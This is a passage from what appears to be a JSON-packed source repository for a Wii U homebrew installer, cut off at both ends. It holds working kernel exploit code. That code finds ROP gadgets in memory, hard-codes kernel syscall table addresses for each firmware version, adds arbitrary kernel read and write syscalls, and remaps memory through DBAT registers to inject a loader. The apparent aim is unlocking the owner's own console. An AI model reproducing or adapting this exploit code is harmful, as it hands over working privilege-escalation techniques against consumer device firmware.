  OSDynLoad_FindExport(coreinit_handle, 0, \"OSScreenGetBufferSizeEx\", &OSScreenGetBufferSizeEx);\n    //Grab the buffer size for each screen (TV and gamepad)\n    int buf0_size = OSScreenGetBufferSizeEx(0);\n    int buf1_size = OSScreenGetBufferSizeEx(1);\n    //Flush the cache\n    DCFlushRange((void *)0xF4000000 + buf0_size, buf1_size);\n    DCFlushRange((void *)0xF4000000, buf0_size);\n    //Flip the buffer\n    OSScreenFlipBuffersEx(0);\n    OSScreenFlipBuffersEx(1);\n}\n\nvoid printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos)\n{\n    int i;\n    for(i=0;i<2;i++)\n    {\n        fillScreen(coreinit_handle, 0,0,0,0);\n        drawString(coreinit_handle, 0,pos,buf);\n        flipBuffers(coreinit_handle);\n    }\n}\n\nvoid setupOSScreen(unsigned int coreinit_handle)\n{\n    void(*OSScreenInit)();\n    unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum);\n    unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr);\n\n    OSDynLoad_FindExport(coreinit_handle, 0, \"OSScreenInit\", &OSScreenInit);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"OSScreenGetBufferSizeEx\", &OSScreenGetBufferSizeEx);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"OSScreenSetBufferEx\", &OSScreenSetBufferEx);\n\n    //Call the Screen initilzation function.\n    OSScreenInit();\n    //Grab the buffer size for each screen (TV and gamepad)\n    int buf0_size = OSScreenGetBufferSizeEx(0);\n    int buf1_size = OSScreenGetBufferSizeEx(1);\n    //Set the buffer area.\n    OSScreenSetBufferEx(0, (void *)0xF4000000);\n    OSScreenSetBufferEx(1, (void *)0xF4000000 + buf0_size);\n    //Clear both framebuffers.\n    int ii;\n    for (ii = 0; ii < 2; ii++)\n    {\n        fillScreen(coreinit_handle, 0,0,0,0);\n        flipBuffers(coreinit_handle);\n    }\n    printOSScreenMsg(coreinit_handle, \"OSDriver Kernel Exploit\",0);\n}\n\nvoid exitOSScreen(unsigned int coreinit_handle)\n{\n    void (*_Exit)();\n    OSDynLoad_FindExport(coreinit_handle, 0, \"_Exit\", &_Exit);\n    //exit only works like this\n    int ii;\n    for(ii = 0; ii < 2; ii++)\n    {\n        fillScreen(coreinit_handle, 0,0,0,0);\n        flipBuffers(coreinit_handle);\n    }\n    _Exit();\n}\n\nvoid callSysExit(unsigned int coreinit_handle, void *sysFunc)\n{\n    void*(*OSAllocFromSystem)(uint32_t size, int align);\n    bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr);\n    int32_t (*OSResumeThread)(void *thread);\n    int (*OSIsThreadTerminated)(void *thread);\n\n    OSDynLoad_FindExport(coreinit_handle, 0, \"OSAllocFromSystem\", &OSAllocFromSystem);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"OSCreateThread\", &OSCreateThread);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"OSResumeThread\", &OSResumeThread);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"OSIsThreadTerminated\", &OSIsThreadTerminated);\n\n    uint32_t stack1 = (uint32_t) OSAllocFromSystem(0x300, 0x20);\n    void *thread1 = OSAllocFromSystem(OSTHREAD_SIZE, 8);\n\n    OSCreateThread(thread1, sysFunc, 0, NULL, stack1 + 0x300, 0x300, 0, 0x1A);\n    OSResumeThread(thread1);\n    while(OSIsThreadTerminated(thread1) == 0)\n    {\n        asm volatile (\n        \"    nop\\n\"\n        \"    nop\\n\"\n        \"    nop\\n\"\n        \"    nop\\n\"\n        \"    nop\\n\"\n        \"    nop\\n\"\n        \"    nop\\n\"\n        \"    nop\\n\"\n        );\n    }\n}\n\n/* Simple memcmp() implementation */\nint memcmp(void *ptr1, void *ptr2, uint32_t length)\n{\n    uint8_t *check1 = (uint8_t*) ptr1;\n    uint8_t *check2 = (uint8_t*) ptr2;\n    uint32_t i;\n    for (i = 0; i < length; i++)\n    {\n        if (check1[i] != check2[i]) return 1;\n    }\n\n    return 0;\n}\n\nvoid* memcpy(void* dst, const void* src, uint32_t size)\n{\n    uint32_t i;\n    for (i = 0; i < size; i++)\n        ((uint8_t*) dst)[i] = ((const uint8_t*) src)[i];\n    return dst;\n}\n\n/* Find a gadget based on a sequence of words */\nvoid *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start)\n{\n    uint32_t *ptr;\n\n    /* Search code before JIT area first */\n    for (ptr = (uint32_t*) gadgets_start; ptr != (uint32_t*) JIT_ADDRESS; ptr++)\n    {\n        if (!memcmp(ptr, &code[0], length)) return ptr;\n    }\n\n    /* Restart search after JIT */\n    for (ptr = (uint32_t*) CODE_ADDRESS_START; ptr != (uint32_t*) CODE_ADDRESS_END; ptr++)\n    {\n        if (!memcmp(ptr, &code[0], length)) return ptr;\n    }\n\n    OSFatal(\"Gadget not found!\");\n    return (void*)0;\n}\n\n/* Read a 32-bit word with kernel permissions */\nuint32_t __attribute__ ((noinline)) kern_read(const void *addr)\n{\n    uint32_t result;\n    asm volatile (\n        \"li 3,1\\n\"\n        \"li 4,0\\n\"\n        \"li 5,0\\n\"\n        \"li 6,0\\n\"\n        \"li 7,0\\n\"\n        \"lis 8,1\\n\"\n        \"mr 9,%1\\n\"\n        \"li 0,0x3400\\n\"\n        \"mr %0,1\\n\"\n        \"sc\\n\"\n        \"nop\\n\"\n        \"mr 1,%0\\n\"\n        \"mr %0,3\\n\"\n        :\t\"=r\"(result)\n        :\t\"b\"(addr)\n        :\t\"memory\", \"ctr\", \"lr\", \"0\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\",\n            \"11\", \"12\"\n    );\n\n    return result;\n}\n\n/* Write a 32-bit word with kernel permissions */\nvoid __attribute__ ((noinline)) kern_write(void *addr, uint32_t value)\n{\n    asm volatile (\n        \"li 3,1\\n\"\n        \"li 4,0\\n\"\n        \"mr 5,%1\\n\"\n        \"li 6,0\\n\"\n        \"li 7,0\\n\"\n        \"lis 8,1\\n\"\n        \"mr 9,%0\\n\"\n        \"mr %1,1\\n\"\n        \"li 0,0x3500\\n\"\n        \"sc\\n\"\n        \"nop\\n\"\n        \"mr 1,%1\\n\"\n        :\n        :\t\"r\"(addr), \"r\"(value)\n        :\t\"memory\", \"ctr\", \"lr\", \"0\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\",\n            \"11\", \"12\"\n        );\n}\n"
  },
  {
    "path": "installer/kexploit.h",
    "content": "#ifndef KEXPLOIT_H\n#define KEXPLOIT_H\n\n#include \"structs.h\"\n#include \"types.h\"\n#include \"coreinit.h\"\n#include \"socket.h\"\n\n/* Wait times for CPU0 and CPU2 */\n#define CPU0_WAIT_TIME\t\t80\n#define CPU2_WAIT_TIME\t\t92\n\n/* Gadget finding addresses */\n#define JIT_ADDRESS\t\t\t        0x01800000\n#if (VER == 300 || VER == 310)\n\t#define CODE_ADDRESS_START\t\t0x0E000000\n\t#define CODE_ADDRESS_END\t\t0x10000000\n#else\n\t#define CODE_ADDRESS_START\t\t0x0D800000\n\t#define CODE_ADDRESS_END\t\t0x0F848A0C\n#endif\n\n/* Kernel addresses, stolen from Chadderz */\n#define KERN_HEAP\t\t\t\t\t0xFF200000\n#define KERN_HEAP_PHYS\t\t\t\t0x1B800000\n#if VER == 200\n\t#define KERN_SYSCALL_TBL\t\t0xFFE85910\n\t#define KERN_CODE_READ\t\t\t0xFFF02214\n\t#define KERN_CODE_WRITE\t\t\t0xFFF02234\n\t#define KERN_ADDRESS_TBL\t\t0xFFEB4E00\n\t#define KERN_DRVPTR\t\t\t\t0x00000000\n#elif VER == 210\n\t#define KERN_SYSCALL_TBL\t\t0xFFE85910\n\t#define KERN_CODE_READ\t\t\t0xFFF02214\n\t#define KERN_CODE_WRITE\t\t\t0xFFF02234\n\t#define KERN_ADDRESS_TBL\t\t0xFFEB4E40\n\t#define KERN_DRVPTR\t\t\t\t0x00000000\n#elif VER == 300\n\t#define KERN_SYSCALL_TBL\t\t0xFFE85950\n\t#define KERN_CODE_READ\t\t\t0xFFF02214\n\t#define KERN_CODE_WRITE\t\t\t0xFFF02234\n\t#define KERN_ADDRESS_TBL\t\t0xFFEB66E4\n\t#define KERN_DRVPTR\t\t\t\t0x00000000\n#elif VER == 310\n\t#define KERN_SYSCALL_TBL\t\t0xFFE85950\n\t#define KERN_CODE_READ\t\t\t0xFFF02214\n\t#define KERN_CODE_WRITE\t\t\t0xFFF02234\n\t#define KERN_ADDRESS_TBL\t\t0xFFEB66E4\n\t#define KERN_DRVPTR\t\t\t\t0x00000000\n#elif VER == 400\n\t#define KERN_SYSCALL_TBL\t\t0xFFE85890\n\t#define KERN_CODE_READ\t\t\t0xFFF02214\n\t#define KERN_CODE_WRITE\t\t\t0xFFF02234\n\t#define KERN_ADDRESS_TBL\t\t0xFFEB7E5C\n\t#define KERN_DRVPTR\t\t\t\t0x00000000\n#elif VER == 410\n\t#define KERN_SYSCALL_TBL\t\t0xffe85890\n\t#define KERN_CODE_READ\t\t\t0xfff02214\n\t#define KERN_CODE_WRITE\t\t\t0xfff02234\n\t#define KERN_ADDRESS_TBL\t\t0xffeb902c\n\t#define KERN_DRVPTR\t\t\t\t0x00000000\n#elif VER == 500\n\t#define KERN_SYSCALL_TBL\t\t0xffea9520\n\t#define KERN_CODE_READ\t\t\t0xfff021f4\n\t#define KERN_CODE_WRITE\t\t\t0xfff02214\n\t#define KERN_ADDRESS_TBL\t\t0xffea9e4c\n\t#define KERN_DRVPTR\t\t\t\t0x00000000\n#elif (VER == 532) || (VER == 540)\n\t#define KERN_SYSCALL_TBL\t\t0xFFEAA0E0\n\t#define KERN_CODE_READ\t\t\t0xFFF02274\n\t#define KERN_CODE_WRITE\t\t\t0xFFF02294\n\t#define KERN_ADDRESS_TBL\t\t0xFFEAAA10\n\t#define KERN_DRVPTR\t\t\t\t(KERN_ADDRESS_TBL - 0x270)\n#elif VER == 550\n\t#define KERN_SYSCALL_TBL\t\t0xFFEAAE60\n\t#define KERN_CODE_READ\t\t\t0xFFF023D4\n\t#define KERN_CODE_WRITE\t\t\t0xFFF023F4\n\t#define KERN_ADDRESS_TBL\t\t0xFFEAB7A0\n\t#define KERN_DRVPTR\t\t\t\t(KERN_ADDRESS_TBL - 0x270)\n#else\n#error \"Unsupported Wii U software version\"\n#endif\n\n/* Browser PFID */\n#define PFID_BROWSER\t\t\t\t8\n\n/* Kernel heap constants */\n#define STARTID_OFFSET\t\t\t\t0x08\n#define METADATA_OFFSET\t\t\t\t0x14\n#define METADATA_SIZE\t\t\t\t0x10\n\n/* Size of a Cafe OS thread */\n#define OSTHREAD_SIZE\t0x1000\n\nvoid run_kexploit(private_data_t *private_data);\n\n/* Find a ROP gadget by a sequence of bytes */\nvoid *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start);\n\n/* Arbitrary read and write syscalls */\nuint32_t __attribute__ ((noinline)) kern_read(const void *addr);\nvoid __attribute__ ((noinline)) kern_write(void *addr, uint32_t value);\n\n#endif /* KEXPLOIT_H */\n"
  },
  {
    "path": "installer/launcher.c",
    "content": "#include \"types.h\"\n#include \"elf_abi.h\"\n#include \"kexploit.h\"\n#include \"structs.h\"\n#include \"sd_loader.h\"\n\n#define MEM_BASE                                        0xC0800000\n#include \"../src/common/common.h\"\n#include \"../src/common/os_defs.h\"\n#include \"coreinit.h\"\n\n//! this shouldnt depend on OS\n#define LIB_CODE_RW_BASE_OFFSET                         0xC1000000\n#define CODE_RW_BASE_OFFSET                             0xC0000000\n#define DATA_RW_BASE_OFFSET                             0xC0000000\n\n#if ( (VER == 532) || (VER == 540) )\n    #define ADDRESS_OSTitle_main_entry_ptr              0x1005d180\n    #define ADDRESS_main_entry_hook                     0x0101c55c\n\n    #define KERN_SYSCALL_TBL_1                          0xFFE84C70 // unknown\n    #define KERN_SYSCALL_TBL_2                          0xFFE85070 // works with games\n    #define KERN_SYSCALL_TBL_3                          0xFFE85470 // works with loader\n    #define KERN_SYSCALL_TBL_4                          0xFFEA9CE0 // works with home menu\n    #define KERN_SYSCALL_TBL_5                          0xFFEAA0E0 // works with browser (previously KERN_SYSCALL_TBL)\n#elif ( (VER == 500) || (VER == 510) )\n    #define ADDRESS_OSTitle_main_entry_ptr              0x1005CB00\n    #define ADDRESS_main_entry_hook                     0x0101C15C\n\n    #define KERN_SYSCALL_TBL_1                          0xFFE84C70 // unknown\n    #define KERN_SYSCALL_TBL_2                          0xFFE85070 // works with games\n    #define KERN_SYSCALL_TBL_3                          0xFFE85470 // works with loader\n    #define KERN_SYSCALL_TBL_4                          0xFFEA9120 // works with home menu\n    #define KERN_SYSCALL_TBL_5                          0xFFEA9520 // works with browser (previously KERN_SYSCALL_TBL)\n#elif (VER == 550)\n    #define ADDRESS_OSTitle_main_entry_ptr              0x1005E040\n    #define ADDRESS_main_entry_hook                     0x0101c56c\n\n    #define KERN_SYSCALL_TBL_1                          0xFFE84C70 // unknown\n    #define KERN_SYSCALL_TBL_2                          0xFFE85070 // works with games\n    #define KERN_SYSCALL_TBL_3                          0xFFE85470 // works with loader\n    #define KERN_SYSCALL_TBL_4                          0xFFEAAA60 // works with home menu\n    #define KERN_SYSCALL_TBL_5                          0xFFEAAE60 // works with browser (previously KERN_SYSCALL_TBL)\n#elif (VER == 410)\n    #define ADDRESS_OSTitle_main_entry_ptr              0x1005A8C0\n    #define ADDRESS_main_entry_hook                     0x0101BD4C\n\n    #define KERN_SYSCALL_TBL_1                          0xFFE84C90\n    #define KERN_SYSCALL_TBL_2                          0xFFE85090\n    #define KERN_SYSCALL_TBL_3                          0xFFE85C90\n    #define KERN_SYSCALL_TBL_4                          0xFFE85490\n    #define KERN_SYSCALL_TBL_5                          0xFFE85890 // works with browser\n#elif (VER == 400)\n    #define ADDRESS_OSTitle_main_entry_ptr              0x1005A600\n    #define ADDRESS_main_entry_hook                     0x0101BD4C\n\n    #define KERN_SYSCALL_TBL_1                          0xFFE84C90\n    #define KERN_SYSCALL_TBL_2                          0xFFE85090\n    #define KERN_SYSCALL_TBL_3                          0xFFE85C90\n    #define KERN_SYSCALL_TBL_4                          0xFFE85490\n    #define KERN_SYSCALL_TBL_5                          0xFFE85890 // works with browser\n#elif ( (VER == 300) || (VER == 310) )\n    #define ADDRESS_OSTitle_main_entry_ptr              0x1005BBC0\n    #define ADDRESS_main_entry_hook                     0x0101894C // used OSDynLoad_Acquire 0x01022CBC from libwiiu to calculate\n\n    #define KERN_SYSCALL_TBL_1                          0xFFE84D50\n    #define KERN_SYSCALL_TBL_2                          0xFFE85150\n    #define KERN_SYSCALL_TBL_3                          0xFFE85D50 // comes after KERN_SYSCALL_TBL_5\n    #define KERN_SYSCALL_TBL_4                          0xFFE85550\n    #define KERN_SYSCALL_TBL_5                          0xFFE85950\n#else\n    #error Please define valid values for firmware.\n#endif // VER\n\n#define ROOTRPX_DBAT0U_VAL                              0xC00003FF\n#define COREINIT_DBAT0U_VAL                             0xC20001FF\n#if (VER >= 410)\n    #define ROOTRPX_DBAT0L_VAL                          0x30000012\n    #define COREINIT_DBAT0L_VAL                         0x32000012\n#elif (VER <= 400)\n    #define ROOTRPX_DBAT0L_VAL                          0x4E000012\n    #define COREINIT_DBAT0L_VAL                         0x4D000012\n#else\n    #error Please define valid values for firmware.\n#endif\n\n/* Install functions */\nstatic void InstallMain(private_data_t *private_data);\nstatic void InstallPatches(private_data_t *private_data);\nstatic void ExitFailure(private_data_t *private_data, const char *failure);\n\nstatic int show_install_menu(unsigned int coreinit_handle, unsigned int *ip_address);\nstatic void thread_callback(int argc, void *argv);\n\nstatic void SetupKernelSyscall(unsigned int addr);\nstatic void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len);\n\n/* assembly functions */\nextern void SC_0x25_KernelCopyData(void* addr, void* src, unsigned int len);\nextern void Syscall_0x36(void);\nextern void KernelPatches(void);\n\n/* ****************************************************************** */\n/*                               ENTRY POINT                          */\n/* ****************************************************************** */\nvoid __main(void)\n{\n    /* Get coreinit handle and keep it in memory */\n    unsigned int coreinit_handle;\n    OSDynLoad_Acquire(\"coreinit.rpl\", &coreinit_handle);\n\n    /* Get our memory functions */\n    unsigned int* functionPointer;\n    void* (*memset)(void * dest, unsigned int value, unsigned int bytes);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"memset\", &memset);\n\n    private_data_t private_data;\n    memset(&private_data, 0, sizeof(private_data_t));\n\n    private_data.coreinit_handle = coreinit_handle;\n    private_data.memset = memset;\n    private_data.data_elf = (unsigned char *) ___sd_loader_sd_loader_elf; // use this address as temporary to load the elf\n\n    OSDynLoad_FindExport(coreinit_handle, 1, \"MEMAllocFromDefaultHeapEx\", &functionPointer);\n    private_data.MEMAllocFromDefaultHeapEx = (void*(*)(unsigned int, unsigned int))*functionPointer;\n    OSDynLoad_FindExport(coreinit_handle, 1, \"MEMFreeToDefaultHeap\", &functionPointer);\n    private_data.MEMFreeToDefaultHeap = (void (*)(void *))*functionPointer;\n\n    OSDynLoad_FindExport(coreinit_handle, 0, \"memcpy\", &private_data.memcpy);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"OSEffectiveToPhysical\", &private_data.OSEffectiveToPhysical);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"DCFlushRange\", &private_data.DCFlushRange);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"ICInvalidateRange\", &private_data.ICInvalidateRange);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"_Exit\", &private_data._Exit);\n\n    if (private_data.OSEffectiveToPhysical((void *)0xa0000000) == (void *)0)\n    {\n        run_kexploit(&private_data);\n    }\n    else\n    {\n        /* Get functions to send restart signal */\n        int(*IM_Open)();\n        int(*IM_Close)(int fd);\n        int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b);\n        void*(*OSAllocFromSystem)(unsigned int size, int align);\n        void(*OSFreeToSystem)(void *ptr);\n        OSDynLoad_FindExport(coreinit_handle, 0, \"IM_Open\", &IM_Open);\n        OSDynLoad_FindExport(coreinit_handle, 0, \"IM_Close\", &IM_Close);\n        OSDynLoad_FindExport(coreinit_handle, 0, \"IM_SetDeviceState\", &IM_SetDeviceState);\n        OSDynLoad_FindExport(coreinit_handle, 0, \"OSAllocFromSystem\", &OSAllocFromSystem);\n        OSDynLoad_FindExport(coreinit_handle, 0, \"OSFreeToSystem\", &OSFreeToSystem);\n\n        /* Send restart signal to get rid of uneeded threads */\n        /* Cause the other browser threads to exit */\n        int fd = IM_Open();\n        void *mem = OSAllocFromSystem(0x100, 64);\n        if(!mem)\n            ExitFailure(&private_data, \"Not enough memory. Exit and re-enter browser.\");\n\n        private_data.memset(mem, 0, 0x100);\n\n        /* Sets wanted flag */\n        IM_SetDeviceState(fd, mem, 3, 0, 0);\n        IM_Close(fd);\n        OSFreeToSystem(mem);\n\n        /* Waits for thread exits */\n        unsigned int t1 = 0x1FFFFFFF;\n        while(t1--) ;\n\n        /* restore kernel memory table to original state */\n        kern_write((void*)(KERN_ADDRESS_TBL + (0x12 * 4)), 0);\n        kern_write((void*)(KERN_ADDRESS_TBL + (0x13 * 4)), 0x14000000);\n    }\n\n    /* Prepare for thread startups */\n    int (*OSCreateThread)(void *thread, void *entry, int argc, void *args, unsigned int stack, unsigned int stack_size, int priority, unsigned short attr);\n    int (*OSResumeThread)(void *thread);\n    int (*OSIsThreadTerminated)(void *thread);\n\n    OSDynLoad_FindExport(coreinit_handle, 0, \"OSCreateThread\", &OSCreateThread);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"OSResumeThread\", &OSResumeThread);\n    OSDynLoad_FindExport(coreinit_handle, 0, \"OSIsThreadTerminated\", &OSIsThreadTerminated);\n\n    /* Allocate a stack for the thread */\n    /* IMPORTANT: libcurl uses around 0x1000 internally so make\n        sure to allocate more for the stack to avoid crashes */\n    void *stack = private_data.MEMAllocFromDefaultHeapEx(0x4000, 0x20);\n    /* Create the thread variable */\n    void *thread = private_data.MEMAllocFromDefaultHeapEx(0x1000, 8);\n    if(!thread || !stack)\n        ExitFailure(&private_data, \"Thread memory allocation failed. Exit and re-enter browser.\");\n\n    // the thread stack is too small on current thread, switch to an own created thread\n    // create a detached thread with priority 0 and use core 1\n    int ret = OSCreateThread(thread, thread_callback, 1, (void*)&private_data, (unsigned int)stack+0x4000, 0x4000, 0, 0x1A);\n    if (ret == 0)\n        ExitFailure(&private_data, \"Failed to create thread. Exit and re-enter browser.\");\n\n    /* Schedule it for execution */\n    OSResumeThread(thread);\n\n    // Keep this main thread around for ELF loading\n    // Can not use OSJoinThread, which hangs for some reason, so we use a detached one and wait for it to terminate\n    while(OSIsThreadTerminated(thread) == 0)\n    {\n        asm volatile (\n        \"    nop\\n\"\n        \"    nop\\n\"\n        \"    nop\\n\"\n        \"    nop\\n\"\n        \"    nop\\n\"\n        \"    nop\\n\"\n        \"    nop\\n\"\n        \"    nop\\n\"\n        );\n    }\n\n    /* setup kernel copy data syscall */\n    kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x25 * 4)), (unsigned int)KernelCopyData);\n\n    /* Install our code now */\n    InstallMain(&private_data);\n\n    /* setup our own syscall and call it */\n    SetupKernelSyscall((unsigned int)KernelPatches);\n    Syscall_0x36();\n\n    /* Patch functions and our code for usage */\n    InstallPatches(&private_data);\n\n    /* Free thread memory and stack */\n    private_data.MEMFreeToDefaultHeap(thread);\n    private_data.MEMFreeToDefaultHeap(stack);\n\n    //! we are done -> exit browser now\n    private_data._Exit();\n}\n\nvoid ExitFailure(private_data_t *private_data, const char *failure)\n{\n    /************************************************************************/\n    // Prepare screen\n    void (*OSScreenInit)();\n    unsigned int (*OSScreenGetBufferSizeEx)(unsigned int bufferNum);\n    unsigned int (*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr);\n    unsigned int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp);\n    unsigned int (*OSScreenFlipBuffersEx)(unsigned int bufferNum);\n    unsigned int (*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer);\n\n    OSDynLoad_FindExport(private_data->coreinit_handle, 0, \"OSScreenInit\", &OSScreenInit);\n    OSDynLoad_FindExport(private_data->coreinit_handle, 0, \"OSScreenGetBufferSizeEx\", &OSScreenGetBufferSizeEx);\n    OSDynLoad_FindExport(private_data->coreinit_handle, 0, \"OSScreenSetBufferEx\", &OSScreenSetBufferEx);\n    OSDynLoad_FindExport(private_data->coreinit_handle, 0, \"OSScreenClearBufferEx\", &OSScreenClearBufferEx);\n    OSDynLoad_FindExport(private_data->coreinit_handle, 0, \"OSScreenFlipBuffersEx\", &OSScreenFlipBuffersEx);\n    OSDynLoad_FindExport(private_data->coreinit_handle, 0, \"OSScreenPutFontEx\", &OSScreenPutFontEx);\n\n    // Prepare screen\n    int screen_buf0_size = 0;\n    int screen_buf1_size = 0;\n    unsigned int screen_color = 0; // (r << 24) | (g << 16) | (b << 8) | a;\n\n    // Init screen and screen buffers\n    OSScreenInit();\n    screen_buf0_size = OSScreenGetBufferSizeEx(0);\n    screen_buf1_size = OSScreenGetBufferSizeEx(1);\n    OSScreenSetBufferEx(0, (void *)0xF4000000);\n    OSScreenSetBufferEx(1, (void *)0xF4000000 + screen_buf0_size);\n\n    // Clear screens\n    OSScreenClearBufferEx(0, screen_color);\n    OSScreenClearBufferEx(1, screen_color);\n\n    // Flush the cache\n    private_data->DCFlushRange((void *)0xF4000000, screen_buf0_size);\n    private_data->DCFlushRange((void *)0xF4000000 + screen_buf0_size, screen_buf1_size);\n\n    // Flip buffers\n    OSScreenFlipBuffersEx(0);\n    OSScreenFlipBuffersEx(1);\n\n    OSScreenPutFontEx(1, 0, 0, failure);\n\n    OSScreenFlipBuffersEx(1);\n    OSScreenClearBufferEx(1, 0);\n\n    unsigned int t1 = 0x3FFFFFFF;\n    while(t1--) asm volatile(\"nop\");\n\n    private_data->_Exit();\n}\n\n/* *****************************************************************************\n * Base functions\n * ****************************************************************************/\nstatic void SetupKernelSyscall(unsigned int address)\n{\n    // Add syscall #0x36\n    kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x36 * 4)), address);\n\n    // make kern_read/kern_write available in all places\n    kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x34 * 4)), KERN_CODE_READ);\n    kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x34 * 4)), KERN_CODE_READ);\n    kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x34 * 4)), KERN_CODE_READ);\n    kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x34 * 4)), KERN_CODE_READ);\n\n    kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x35 * 4)), KERN_CODE_WRITE);\n    kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x35 * 4)), KERN_CODE_WRITE);\n    kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x35 * 4)), KERN_CODE_WRITE);\n    kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x35 * 4)), KERN_CODE_WRITE);\n}\n\nstatic void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len)\n{\n    /*\n     * Setup a DBAT access for our 0xC0800000 area and our 0xBC000000 area which hold our variables like GAME_LAUNCHED and our BSS/rodata section\n     */\n    register unsigned int dbatu0, dbatl0, target_dbat0u, target_dbat0l;\n    // setup mapping based on target address\n    if ((addr >= 0xC0000000) && (addr < 0xC2000000)) // root.rpx address\n    {\n        target_dbat0u = ROOTRPX_DBAT0U_VAL;\n        target_dbat0l = ROOTRPX_DBAT0L_VAL;\n    }\n    else if ((addr >= 0xC2000000) && (addr < 0xC3000000))\n    {\n        target_dbat0u = COREINIT_DBAT0U_VAL;\n        target_dbat0l = COREINIT_DBAT0L_VAL;\n    }\n    // save the original DBAT value\n    asm volatile(\"mfdbatu %0, 0\" : \"=r\" (dbatu0));\n    asm volatile(\"mfdbatl %0, 0\" : \"=r\" (dbatl0));\n    asm volatile(\"mtdbatu 0, %0\" : : \"r\" (target_dbat0u));\n    asm volatile(\"mtdbatl 0, %0\" : : \"r\" (target_dbat0l));\n    asm volatile(\"eieio; isync\");\n\n    unsigned char *src_p = (unsigned char*)src;\n    unsigned char *dst_p = (unsigned char*)addr;\n\n    unsigned int i;\n    for(i = 0; i < len; i++)\n    {\n        dst_p[i] = src_p[i];\n    }\n\n    unsigned int flushAddr = addr & ~31;\n\n    while(flushAddr < (addr + len))\n    {\n        asm volatile(\"dcbf 0, %0; sync\" : : \"r\"(flushAddr));\n        flushAddr += 0x20;\n    }\n\n    /*\n     * Restore original DBAT value\n     */\n    asm volatile(\"mtdbatu 0, %0\" : : \"r\" (dbatu0));\n    asm volatile(\"mtdbatl 0, %0\" : : \"r\" (dbatl0));\n    asm volatile(\"eieio; isync\");\n}\n\nstatic void thread_callback(int argc, void *argv)\n{\n    /* Pre-load the Mii Studio to be executed on _Exit - thanks to wj444 for sharing it */\n    unsigned int sysapp_handle;\n    void (*_SYSLaunchMiiStudio)(void) = 0;\n    OSDynLoad_Acquire(\"sysapp.rpl\", &sysapp_handle);\n    OSDynLoad_FindExport(sysapp_handle, 0, \"_SYSLaunchMiiStudio\", &_SYSLaunchMiiStudio);\n\n    _SYSLaunchMiiStudio();\n}\n\nstatic int strcmp(const char *s1, const char *s2)\n{\n    while(*s1 && *s2)\n    {\n        if(*s1 != *s2) {\n            return -1;\n        }\n        s1++;\n        s2++;\n    }\n\n    if(*s1 != *s2) {\n        return -1;\n    }\n    return 0;\n}\n\nstatic unsigned int get_section(private_data_t *private_data, unsigned char *data, const char *name, unsigned int * size, unsigned int * addr, int fail_on_not_found)\n{\n    Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data;\n\n    if (   !data\n        || !IS_ELF (*ehdr)\n        || (ehdr->e_type != ET_EXEC)\n        || (ehdr->e_machine != EM_PPC))\n    {\n        ExitFailure(private_data, \"Invalid elf file\");\n    }\n\n    Elf32_Shdr *shdr = (Elf32_Shdr *) (data + ehdr->e_shoff);\n    int i;\n    for(i = 0; i < ehdr->e_shnum; i++)\n    {\n        const char *section_name = ((const char*)data) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name;\n        if(strcmp(section_name, name) == 0)\n        {\n            if(addr)\n                *addr = shdr[i].sh_addr;\n            if(size)\n                *size = shdr[i].sh_size;\n            return shdr[i].sh_offset;\n        }\n    }\n\n    if(fail_on_not_found)\n        ExitFailure(private_data, (char*)name);\n\n    return 0;\n}\n\n/* ****************************************************************** */\n/*                         INSTALL MAIN CODE                          */\n/* ****************************************************************** */\nstatic void InstallMain(private_data_t *private_data)\n{\n    // get .text section\n    unsigned int main_text_addr = 0;\n    unsigned int main_text_len = 0;\n    unsigned int section_offset = get_section(private_data, private_data->data_elf, \".text\", &main_text_len, &main_text_addr, 1);\n    unsigned char *main_text = private_data->data_elf + section_offset;\n    /* Copy main .text to memory */\n    if(section_offset > 0)\n        SC_0x25_KernelCopyData((void*)(CODE_RW_BASE_OFFSET + main_text_addr), main_text, main_text_len);\n\n    // get the .rodata section\n    unsigned int main_rodata_addr = 0;\n    unsigned int main_rodata_len = 0;\n    section_offset = get_section(private_data, private_data->data_elf, \".rodata\", &main_rodata_len, &main_rodata_addr, 0);\n    if(section_offset > 0)\n    {\n        unsigned char *main_rodata = private_data->data_elf + section_offset;\n        /* Copy main rodata to memory */\n        SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_rodata_addr), main_rodata, main_rodata_len);\n    }\n\n    // get the .data section\n    unsigned int main_data_addr = 0;\n    unsigned int main_data_len = 0;\n    section_offset = get_section(private_data, private_data->data_elf, \".data\", &main_data_len, &main_data_addr, 0);\n    